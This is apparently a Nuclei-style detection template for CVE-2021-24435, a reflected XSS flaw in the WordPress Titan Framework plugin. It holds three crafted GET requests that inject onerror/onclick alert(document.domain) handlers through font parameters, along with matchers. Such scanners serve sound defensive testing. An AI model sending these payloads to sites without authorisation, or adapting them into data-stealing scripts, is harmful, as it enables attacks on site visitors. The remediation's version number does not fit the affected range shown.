id: CVE-2021-24435

info:
  name: WordPress Titan Framework plugin <= 1.12.1 - Cross-Site Scripting
  author: xcapri,ritikchaddha
  severity: medium
  description: |
    The iframe-font-preview.php file of the titan-framework does not properly escape the font-weight and font-family GET parameters before outputting them back in an href attribute, leading to Reflected Cross-Site Scripting issues.
  remediation: Fixed in version 2.7.12
  reference:
    - https://wpscan.com/vulnerability/a88ffc42-6611-406e-8660-3af24c9cc5e8
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24435
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24435
    - https://patchstack.com/database/vulnerability/titan-framework/wordpress-titan-framework-plugin-1-12-1-reflected-cross-site-scripting-xss-vulnerability
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24435
    cwe-id: CWE-79
    epss-score: 0.0014
    epss-percentile: 0.49419
    cpe: cpe:2.3:a:gambit:titan_framework:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: gambit
    product: titan_framework
    framework: wordpress
  tags: wp,xss,wp-plugin,titan-framework,wpscan,cve,cve2021,wordpress

http:
  - method: GET
    path:
      - "{{BaseURL}}/titan-framework/lib/iframe-font-preview.php?font-type=google&font-family=%27/onerror=%27alert(document.domain)%27/b=%27"
      - "{{BaseURL}}/titan-framework/lib/iframe-font-preview.php?font-type=google&font-family=aaaaa&font-weight=%27%20onerror=alert(document.domain)%20b=%27"
      - "{{BaseURL}}/titan-framework/lib/iframe-font-preview.php?font-type=google&font-family=aaaaa&font-weight=%27%20accesskey=%27x%27%20onclick=%27alert(document.domain)%27%20class=%27"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "text/html"

      - type: regex
        regex:
          - (?i)(onerror=|onclick=)['"]?alert\(document\.domain\)['"]?
          - '<p>Grumpy wizards make'
        condition: and

      - type: status
        status:
          - 200
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